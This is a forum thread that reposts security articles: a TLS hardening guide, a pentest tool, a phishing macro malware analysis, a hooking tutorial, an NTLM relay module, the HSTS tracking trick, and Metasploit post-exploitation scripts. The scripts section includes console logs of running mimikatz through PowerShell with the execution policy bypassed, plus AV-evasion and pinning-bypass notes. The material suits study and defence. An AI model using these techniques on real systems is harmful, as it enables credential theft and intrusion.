  7. Applied Crypto Hardening Wolfgang Breyha, David Durvaux, Tobias Dussa, L. Aaron Kaplan, Florian Mendel, Christian Mock, Manuel Koschuch, Adi Kriegisch, Ulrich Pöschl, Ramin Sabet, Berg San, Ralf Schlatterbeck, Thomas Schreck, Alexander Würstlein, Aaron Zauner, Pepi Zawodsky (University of Vienna, CERT.be, KIT-CERT, CERT.at, A-SIT/IAIK, coretec.at, FH Campus Wien, VRVis, MilCERT Austria, A-Trust, Runtux.com, Friedrich-Alexander University Erlangen-Nuremberg, azet.org, maclemon.at) Contents 1. Introduction 7 1.1. Audience . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.2. Related publications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.3. How to read this guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.4. Disclaimer and scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 1.5. Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2. Practical recommendations 11 2.1. Webservers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.1. Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.2. lighttpd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 2.1.3. nginx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.1.4. MS IIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 2.2. SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.2.1. OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 2.2.2. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 2.2.3. Cisco IOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3. Mail Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.1. SMTP in general . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.2. Dovecot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.3.3. cyrus-imapd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.3.4. Postfix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 2.3.5. Exim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.4. VPNs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4.1. IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 2.4.2. Check Point FireWall-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.4.3. OpenVPN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 2.4.4. PPTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 2.4.5. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 2.4.6. Openswan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 2.4.7. tinc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 2.5. PGP/GPG - Pretty Good Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.6. IPMI, ILO and other lights out management solutions . . . . . . . . . . . . . . . . . . . 43 2.7. Instant Messaging Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 2.7.1. General server configuration recommendations . . . . . . . . . . . . . . . . . . 44 2.7.2. Prosody . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 2.7.3. ejabberd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 2.7.4. Chat privacy - Off-the-Record Messaging (OTR) . . . . . . . . . . . . . . . . . . 46 2.7.5. Charybdis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.7.6. SILC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8. Database Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.1. Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.2. MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.3. DB2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 2.8.4. PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 2.9. Intercepting proxy solutions and reverse proxies . . . . . . . . . . . . . . . . . . . . . 50 2.9.1. Bluecoat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.9.2. Pound . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 2.10.Kerberos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.10.1.Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.10.2. Implementations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 3. Theory 58 3.1. Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2. Cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2.1. Architectural overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 3.2.2. Forward Secrecy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 3.2.3. Recommended cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 3.2.4. Compatibility . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 3.3. Random Number Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 3.3.1. When random number generators fail . . . . . . . . . . . . . . . . . . . . . . . 63 3.3.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 3.3.3. Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 3.4. Keylengths . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 3.5. A note on Elliptic Curve Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 3.6. A note on SHA-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 3.7. A note on Diffie Hellman Key Exchanges . . . . . . . . . . . . . . . . . . . . . . . . . . 67 3.8. Public Key Infrastructures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 3.8.1. Certificate Authorities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 3.8.2. Hardening PKI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 3.9. TLS and its support mechanisms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 3.9.1. HTTP Strict Transport Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 A. Tools 76 A.1. SSL & TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 A.2. Key length . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 A.3. RNGs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 A.4. Guides . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 B. Links 78 C. Suggested Reading 79 D. Cipher Suite Name Cross-Reference 80 E. Further research 89 Index 94 Download: https://bettercrypto.org/static/applied-crypto-hardening.pdf
  8. Nytro

    SPARTA

    What is SPARTA? SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results. Features – Run nmap from SPARTA or import nmap XML output. – Transparent staged nmap: get results quickly and achieve thorough coverage. – Configurable context menu for each service. You can configure what to run on discovered services. Any tool that can be run from a terminal, can be run from SPARTA. – You can run any script or tool on a service across all the hosts in scope, just with a click of the mouse. – Define automated tasks for services (ie. Run nikto on every HTTP service, or sslscan on every ssl service). – Default credentials check for most common services. Of course, this can also be configured to run automatically. – Identify password reuse on the tested infrastructure. If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: sysadmins reuse passwords). – Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again. – Website screenshot taker so that you don’t waste time on less interesting web servers. Download Please clone the latest version of SPARTA from github: git clone https://github.com/secforce/sparta.git Alternatively, download the latest zip file here. Requirements It is recommended that Kali Linux is used as it already has most tools installed, however SPARTA would most likely also work in Debian based systems. Kali (preferred): apt-get install python-elixir Ubuntu 12.04+ (untested) apt-get install python-elixir python-qt4 Other than these, the following tools are required for SPARTA to have its minimum functionality: – nmap (for adding hosts) – hydra (for the brute tab) – cutycapt (for screenshots) In Kali Linux these can be installed with: apt-get install nmap hydra cutycapt In Kali, to ensure that you have all the tools used by SPARTA’s default configuration use: apt-get install ldap-utils rwho rsh-client x11-apps finger Documentation Full documentation coming soon… Sursa: SPARTA | Network Infrastructure Penetration Testing Tool
  9. MS Word and Macros… Now With Social Engineering Malware December 15, 2014 By Ronnie Tokazowski On December 11, one of our employees reported a phishing email with PhishMe’s Reporter for Outlook that contained a particularly nasty Word document. The malicious payload included PowerShell, VBA, and batch code. Here’s a screenshot of the phishing email: Figure 1 — Screenshot of phishing email Once opened, the document’s contents are blurred, and it asks recipients to enable macros in order to view the document. Figure 2 — Document requesting that user enable macros Once enabled, the macro kicks off by executing a batch script via cmd.exe, which then executes visual basic script, which in turn triggers a PowerShell script. (Figure 3.) Figure 3 — Chain of execution for Word document The batch file is responsible for pinging 1.1.2.2 twice, changing the console code to the Cyrillic script (chcp 1251), and running the second file, adobeacd-update.vbs. (Figure 4.) Figure 4 — Batch file exectued by macro Next, the VBS file runs a powershell script with the command seen in Figure 5. Figure 5 — VBS file executing PowerShell script The powershell code is where the malware is finally downloaded. First, the file downloads “x.exe” from the domain highlighted, then saves it to the system as the filename “444.exe”. Figure 6 — Excerpt of PowerShell script Next, the script grabs the path name of the above scripts, saves them to a variable, sleeps for 15 seconds, and runs “444.exe”. Figure 7 — PowerShell excerpt that executes “444.exe” Once executed, the powershell script attempts to clean up by removing the other scripts used to execute it. Figure 8 — Attempted cleanup for the malware By looking in Wireshark, we can see the file being downloaded in Figure 9. Figure 9 — Malware being downloaded While the malware is packed, we can find some interesting things about the malware by analyzing the memory. First, by grepping before and after “[tab”, we can see that this malware has key logging capabilities, will more than likely beacon out to “tdglomeme[d]eu”, attempt to POST to “/log/index.php”, and feed the information back containing the string “0USER0”. (Figure 10.) Figure 10 — Memory dump of data being collected By looking at the pcap (Figure 11) and decoding the data (Figure 12) we can see that the data is presented exactly as seen in the pcap. Figure 11 — Data from pcap Figure 12 — Decoded data from pcap We can see that the malware is capable of copying contents from the clipboard as well as logging keystrokes. This data is then POSTed back to the attackers domain. For a Yara signature, the attackers included a “vbaProject.bin” file in the docx file. The following Yara rule can help to pick up variants that contain this: rule PM_docx_with_vba_bin { strings: $a1 = “PK” $a2 = “word/_rels/vbaProject.bin” condition: $a1 at 0 and $a2 } The word document has a very low detection rate (4/56) and can be found here: https://www.virustotal.com/en/file/a8ee9b6f3dfd02957d2f9f8abada269cbf7257a0d5745f2bae63c2a6892b83c5/analysis/ Sursa: MS Word and Macros... Now With Social Engineering Malware - PhishMe
      • 1
      • Upvote
  10. [h=1]Inline Hooking for Programmers (Part 1: Introduction)[/h] A lot of my articles have been aimed at giving a high-level insight into malware for beginners, or those unfamiliar with specific concepts. Today I've decided to start a new series designed to familiarize people with malware internals on a programming level. This will not be a tutorial aimed towards people creating sophisticated malware, but security enthusiasts looking to better understand it. [h=2]Inline Hooking[/h] What is it Inline hooking is a method of intercepting calls to target functions,which is mainly used by antiviruses, sandboxes, and malware. The general idea is to redirect a function to our own, so that we can perform processing before and/or after the function does its; this could include: checking parameters, shimming, logging, spoofing returned data, and filtering calls. Rootkits tend to use hooks to modify data returned from system calls in order to hide their presence, whilst security software uses them to prevent/monitor potentially malicious operations. The hooks are placed by directly modifying code within the target function (inline modification), usually by overwriting the first few bytes with a jump; this allows execution to be redirected before the function does any processing. Most hooking engines use a 32-bit relative jump (opcode 0xE9), which takes up 5 bytes of space. Problems we face Might need to call the original function which we've overwritten with a jump. Race conditions. Calling convention mismatches. Infinite recursion. How it works We will be using a trampoline based hook, which allows us to intercept functions, whilst still being able to call the originals (without unhooking them first). this hook is made up of 3 parts: The Hook - A 5 byte relative jump which is written to the target function in order to hook it, the jump will jump from the hooked function to our code. The Proxy - This is our specified function (or code) which the hook placed on the target function will jump to. The Trampoline - Used to bypass the hook so we can call a hooked function normally. Why Trampoline Let's say we want to hook MessageBoxA, print out the parameters from within the proxy function, then display the message box: In order to display the message box, we need to call MessageBoxA (which redirects to our proxy function, which in turn calls MessageBoxA). Obviously calling MessageBoxA from within our proxy function will just cause infinite recursion and the program with eventually crash due to a stack overflow. We could simply unhook MessageBoxA from within the proxy function, call it, then re hooking it; but if multiple threads are calling MessageBoxA at the same time, this would cause a race condition and possibly crash the program. Instead, what we can do is store the first 5 bytes of MessageBoxA (these are overwritten by our hook), then when we need to call the non hooked MessageBoxA, we can execute the stored first 5 bytes, followed by a jump 5 bytes into MessageBoxA (directly after the hook). If you're having trouble visualizing that, I've made a call graph. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Top is a normal call to non-hooked MessageBoxA, bottom is a call using our trampoline to bypass the hook.[/TD] [/TR] [/TABLE] As long as the first 5 bytes aren't relative instructions, they can be executed anywhere (because it's very rare for functions to use relative instructions so early on, so we don't really need to handle this). A problem we do need to handle is if the first 5 bytes of the function don't make up n whole instructions). In the example, the first 5 bytes of the function make up exactly 3 instructions (mov edi, edi; push ebp; mov ebp, esp), however, if for example, the first instruction was 10 bytes long and we only stored 5 bytes: the trampoline would be trying to execute half an instruction and the program would explode. To get around this, we must use a disassemble to get the length of each instruction, so we can make sure only to copy whole instructions. The best case scenario is the first n instructions add up to exactly 5 bytes, the worst case is if the first instruction is 4 bytes and the second is 16 (the maximum length of an x86 instruction), we must store 20 bytes (4 + 16), meaning our trampoline must be 25 bytes in size (space for up to 20 bytes worth of instructions and a 5 byte jump back to the hooked function). It's important to note that the return jump must jump to the hooked function n bytes in, where n is however many instructions we stored in the trampoline. Sursa: Inline Hooking for Programmers (Part 1: Introduction) | MalwareTech
      • 1
      • Upvote
  11. UNVEILING THE KERNEL: ROOTKIT DISCOVERY USING SELECTIVE AUTOMATED KERNEL MEMORY DIFFERENCING Ahmed Zaki & Benjamin Humphrey Sophos, UK Email {ahmed.zaki, benjamin.humphrey}@ sophos.com ABSTRACT As an increasing number of automated malware analysis systems become mainstream, the emphasis on the relevance of the data extracted from the analysis task increases. Conceptually, automated malware analysis systems provide information about a sample and also identify modifi cations to a computer system induced by the sample. Traditionally, the focus of such analysis systems has primarily been on monitoring process, disk and network-level behaviour with varying levels of granularity. While providing a varied set of information, these systems offer limited ability to identify and classify rootkits. The very nature of rootkits makes them hard to classify (and in some cases even detect) using these scanning techniques. Kernel memory modifi cations can indicate that samples are trying to conceal information or hijack execution paths, thus exhibiting malicious behaviour. In an environment with a large throughput of analysis jobs, the need arises for an effi cient and accurate way to identify such complex threats that could otherwise be misclassifi ed or pass unnoticed. We present a system for identifying rootkit samples that is based on automated analysis. In this system we recognize the performance and memory constraints of a highthroughput environment; instead of monitoring modifi cations to the whole memory, we capture changes to data structures and memory regions that, on a Microsoft Windows operating system, are known to have been targeted by rootkits in the past. We explain the reasons behind the design decisions and how they have refl ected on identifying different classes of rootkits. In our research, we also explore the effectiveness of using this model as a standalone component to identify malicious behaviour. In order to do this, we run a large set of known clean versus malicious fi les to identify traits that could be indicative of malicious activity. Download: https://www.virusbtn.com/pdf/conference/vb2014/VB2014-ZakiHumphrey.pdf
      • 1
      • Upvote
  12. AV Evading Meterpreter Shell from a .NET Service Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want. The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host. Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton. Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this. Articol complet: AV Evading Meterpreter Shell from a .NET Service | WebstersProdigy
      • 1
      • Upvote
  13. Metasploit Generic NTLM Relay Module I recently put in a pull request for a Metasploit module I wrote that does NTLM relaying (I recommend this post for some background). I also have a time slot for a tool arsenal thing at blackhat. Here’s the description: NTLM auth blobs contain the keys to the kingdom in most domain environments, and relaying these credentials is one of the most misunderstood and deadly attacks in a hacker’s corporate arsenal. Even for smart defenders it’s almost like a belief system; some people believe mixed mode IIS auth saves them, NTLMv2 is not exploitable, enabling the IIS extended protection setting is all you need, it was patched with MS08-068, you have to be in the middle, you have to visit a website, you have to be an administrator for the attack to matter, etc. etc. http_ntlm_relay is a highly configurable Metasploit module I wrote that does several very cool things, allowing us to leverage the awesomeness of Metasploit and show the way for these non-believers: HTTP -> HTTP NTLM relay with POST, GET, HTTPS support. HTTP -> SMB NTLM relay with ENUM_SHARES, LS, WRITE, RM, and EXEC support. This extended support allows a lot of interesting attacks against non admins and multiple browsers that aren’t currently available in Metasploit. NTLMv2 support, which means that this attack now works a lot more often on modern windows environments. Mutex support allowing information from one request to be used in a future request. A simple example of this would be a GET to retrieve a CSRF token used in a POST. A more complex example would be an HTTP GET request to recover computer names, and then using that information to SMB relay to those computers for code execution. It will be open source and I’ll try my darndest to get it included in Metasploit proper before Blackhat. With this module, I made a choice for flexibility over some other things. Although basic usage is fairly straightforward, some of the more advanced functionality might not be. This post will give some usage examples. I have desktop captures of each example, full screen and HD those suckers if you want to see what’s going on. Stealing HTTP Information Corporate websites that use NTLM auth are extremely common, whether they’re sharepoint, mediawiki, ERP systems, or (probably most commonly) homegrown applications. To test my module out, I wrote a custom application that uses Windows Auth. I did it this way so I could easily reconfigure without too much complexity (although I have tested similar attacks against dozens of real sharepoint sites, mediawiki, and custom webpages). This simple example is an app that displays some information about the user visiting. Think of it as an internal paystub app that HR put up. IIS is set to authenticate with Windows auth: Articol complet: Metasploit Generic NTLM Relay Module | WebstersProdigy
  14. A few Metasploit Post Exploit Resource Scripts Some of this code is fairly ugly and copy/pasted between files. It is meant for one-offs within a pentest, not necessarily extended and built on. Still, it’s been useful and it might be helpful for those wanting to automate similar things. Plus it was built for real, not just in a lab, so at least it works sometimes Spooler Migrate [code] This was inspired (and some bits copied) from the smart_migrate module. smart_migrate migrates to explorer.exe or starts an instance. Sometimes this isn’t what you want to do. Say you’re running as system – explorer likely is not running in this context, and starting it as system might be suspicious. Also, in my testing when meterpreter timed out it would crash the process you’re executing in, so sometimes it needed to be restarted (not to mention you might not want to migrate to something more critical for persistence). This module checks if a print spooler is running and migrates it (and if it’s not started, it starts it, then migrates to it). Usage Example: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26[/TD] [TD=class: code]meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... msf exploit(psexec) > setg SESSION 1 SESSION => 1 msf exploit(psexec) > resource spooler_migrate.rc [*] Processing spooler_migrate.rc for ERB directives. [*] resource (spooler_migrate.rc)> Ruby Code (917 bytes) [*] migrating to spooler [*] done migrating msf exploit(psexec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getpid Current pid: 1248 meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [system Process] 4294967295 ... 1248 488 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe [/TD] [/TR] [/TABLE] It should not take much effort to customize the script, for example, to set it as autorun or to have it run on all sessions with system. Pivoted Mimikatz through PS Remoting or PSExex [code] During a pentest, it’s fairly common to have code execution on one host and using that host to pivot. Behold, visio skillz Although it’s usually nicer to do everything through remote powershell, there are times when it’s not available. In those cases, it might be necessary to fall back on something else like psexec. This script does the following Pivots through a session Port scans a few ports to see what services are up Runs mimikatz through remote powershell , if it’s available. This is better because the ps1 is never written to disk (this script writes powershell to our pivot box, but nothing ever touches the target box). See my coworker’s blog on the powershell details here. If remote powershell isn’t available, copy the powershell script over and psexec Additionally, this script takes user/pass arguments. This is useful, for example, if you’re executing as SYSTEM on a box nobody’s logged into but you’d like to execute as code on another box as a domain user. One obvious improvement is it could be parallized so you’re running on multiple hosts at once. This wasn’t an issue for me because my scale wasn’t that size, and this script should work fine for a few thousand hosts as long as you’re willing to let it run for a few hours. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59[/TD] [TD=class: code]msf exploit(psexec) > setg RHOST_FILE res_data/hostfile.txt RHOST_FILE => res_data/hostfile.txt msf exploit(psexec) > setg SESSION 1 SESSION => 1 msf exploit(psexec) > setg duser TEST.local\\mopey duser => TEST.local\mopey msf exploit(psexec) > setg dpass password dpass => password msf auxiliary(smb_enumshares) > resource mimikatz_remote.rc [*] Processing mimikatz_remote.rc for ERB directives. [*] resource (mimikatz_remote.rc)> Ruby Code (8313 bytes) ##################### # Beginning AD.rlundtest.local ##################### ##################### # Routing through Session 1 ##################### SESSION => 1 HOSTNAME => AD.rlundtest.local [*] AD.rlundtest.local resolves to 192.168.137.100 [*] Post module execution completed NETMASK => 255.0.0.0 SUBNET => 192.168.137.100 [*] Running module against CLIENT5 [*] Adding a route to 192.168.137.100/255.0.0.0... [*] Post module execution completed ##################### # PORTSCANNING AD.rlundtest.local ##################### RHOSTS => 192.168.137.100 PORTS => 5985,5986,445 [*] 192.168.137.100:5985 - TCP OPEN [*] 192.168.137.100:445 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed AD.rlundtest.local SMB is enabled. Use this if remote ps is disabled Powershell looks enabled, using that rather than SMB ##################### # Running Mimikatz on RLUNDTEST.local\mopey on AD.rlundtest.local ##################### uploading to C:\Windows\TEMP\hOllYmPh.ps1 uploading to /tmp/Invoke-ReflectivePEInjection.ps1.tmp Executing the following command over remote powershell cmd /c echo "." | powershell -Executionpolicy bypass -Command "& C:\Windows\TEMP\hOllYmPh.ps1 >> "C:\Windows\TEMP\snWgndjt" saving output in /root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt Cleaning remote files ##################### # Cleaning up: Resetting routes ##################### msf auxiliary(tcp) > cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt [*] exec: cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt Authentication ID : 0;996 Authentication Package : Negotiate Primary user : AD$ Domain authentication : RLUNDTEST .... [/TD] [/TR] [/TABLE] For the psexec part of this to work I submitted three pull requests to fix minor issues in how metasploit lists files. Two hav been accepted (1 2), but the other has not (at least not yet). Feel free to use that branch, or you could always use another psexec payload of your choice. The old psexec_command will also work for some payloads, they just can’t take a long time or return binary data. This should be easy to customize and can be quite useful. Say you’d like to execute a powershell script through remote powershell, wmic, or psexec (in that order of preference) but don’t know what’s enabled. You can run a modified version of this script and hit a bunch of hosts. Pivoting and Looking for Password Reuse between things [code] Another pivoting example. Say you’ve pwned one domain, like you’ve dumped the hashes from the domain controller, but want to check for password reuse on the second. This is a script for that type of scenario. Looking at the diagram below, you might say, but there’s a brick wall in front of pivot pirate. But aha, there are red arrows. Pivots through a session Picks a random host from a hostfile Checks port 445 Runs smb_login through session Usage is similar to the last couple scripts. Additionally, it could be sped up significantly if it were parallelized, but one hash at a time was plenty fast for my use. Sursa: A few Metasploit Post Exploit Resource Scripts | WebstersProdigy
      • 1
      • Upvote
  15. Bypass OpenSSL Certificate Pinning on iOS Daniel Mayer (daniel@matasano.com) January 7, 2015 Abstract: When mobile applications communicate with an API or web service, this should generally happen via TLS/SSL (e.g., HTTPS). In order to verify the identity of the server and to prevent man-in-themiddle attacks, TLS relies on certificates which prove the identity of the web server. Browsers and mobile operating systems come preconfigured with a list of trusted Certificate Authorities (CAs). Since any of the CAs may issue a certificate for any hostname/server, security-conscious applications should “pin” the expected server certificate in the application, i.e., not accept any certificate but the one issued by the known-good CA which the application developer uses. From a penetration testing perspective, this may cause practical problems since it is difficult to intercept the communication of an application that makes use of this technique. Without pinning, interception typically involves adding the TLS certificate of an intercepting proxy (such as Burp) to the certificate store of the target operating system. However, when the app uses certificate pinning, this store is often ignored. On iOS, when the app uses standard iOS APIs, the iOS SSL Kill Switch, developed by Matasano’s sister company iSEC Partners, can be used to bypass pinning and force the application to accept any certificate presented by the server or proxy. The Kill Switch uses Cydia Substrate which hooks the iOS functions used for certificate validation and modifies them so that they accept any certificate. It becomes more complicated when the app uses the OpenSSL library instead of the native iOS frameworks since they are not affected by the Kill Switch’s hooking. There is more than one way of bypassing OpenSSL-based certificate pinning and, in this paper we detail two of these methods: binary patching and Cydia Substrate. Download: http://matasano.com/research/bypassing_openssl_pinning.pdf
  16. The Double-Edged Sword of HSTS Persistence and Privacy HTTP Strict Transport Security or more commonly known as HSTS is a draft policy by the IETF WebSec working group currently proposed that would extend the standard list of HTTP response headers to allow domain owners to enroll complying browsers into exclusively secure communications with the web server for an asserted period of time. This is accomplished by rewriting all HTTP requests to that particular domain regardless of entry (be it via link, image or manually typed in the address bar) over HTTPS and validating the certificate chain. If a secure connection cannot be established or the certificate chain cannot be verified then the request fails with a transport level error and is abandoned. The actual implementation of this is nearly trivial. Over a secure connection the server simply has to return the header specifying how long the browser should exclusively attempt HTTPS connections and a flag whether it should include sub-domains: Strict-Transport-Security: max-age=31536000; includeSubDomains Under normal circumstances as long as the user has been to that domain within the max-age of the policy, this is an effective mitigation against sslstrip type attacks which rely on users to initiate an HTTP connection to perform a man-in-the-middle attack against the browsers. One of the less understood implications of this proposal is the role that wildcard SSL certificates play. When purchasing an SSL certificate the domain owner must decide between a standard certificate that covers only one particular FQDN such as store.domain.com or a (more expensive) wildcard certificate issued to *.domain.com that would encompass multiple sub-domains such auth.domain.com and store.domain.com. As the certificate wildcard feature is decoupled from the HSTS includeSubDomains flag it leads to interesting behavior that allows an actor such as an advertising company or any other entity to store, retrieve, and edit data in the browser’s database. When a wildcard SSL certificate is used it allows the owner to have a near unlimited number of entires in the HSTS databases as currently implemented by supporting browsers. An entry in the HSTS database can grant a single-bit of information to an interested party that can be retrieved at a later time. Lets look at an example where we want to store and retrieve the word “HELLO” in a browser’s HSTS database using nothing but forum image tags and a trivial encoding. To set the bits we would simply need to create a post with the following tags: When a browser goes to each of these URLs over HTTPS the web server would see the /setbit.png key and include a HSTS header with a large max-age value in the response and create an entry in the browser’s HSTS table for each of the sub-domains. To read this data back out a javascript block on a different domain than the original forum would first brute force the character count by creating resource requests enumerating possible values and having the server respond whether the request came in over HTTP or HTTPS as the requests would have been rewritten by the browser if the sub-domain is present in HSTS database. These requests would look like: http://charcount-1.trackingdomain.com/getbit.png [ Server: HTTP ] http://charcount-2.trackingdomain.com/getbit.png [ Server: HTTP ] http://charcount-3.trackingdomain.com/getbit.png [ Server: HTTP ] http://charcount-4.trackingdomain.com/getbit.png [ Server: HTTP ] http://charcount-5.trackingdomain.com/getbit.png [ Server: HTTPS! ] The same brute-force enumeration process would be performed to retrieve the individual characters of the message body. This enumeration is more effective than the current history enumeration attacks via CSS (here.) At first this approach looks like a Bloom filter. Seemingly akin to burning in bits permanently and not having the ability to change them but thanks to the max-age specifier of the header it is possible to also clear bits by setting their maximum age to 0: Request URL: http://charcount-5.trackingdomain.com/clearbit.png Strict-Transport-Security: max-age=0; Initially this doesn’t look worse than standard tracking cookie as long as it is cleared on a regular basis but clearing the HSTS database frequently renders it much less effective in preventing the very attacks it sought guard against. Therein lies the classic trade-off of security versus privacy. Of the currently two HSTS supporting browsers there is no consensus on this topic. Chrome opts for increased privacy by clearing HSTS database when cookies are cleared while Firefox 4 opts to store HSTS settings in the separate and infrequently cleared site-preferences database. So what can 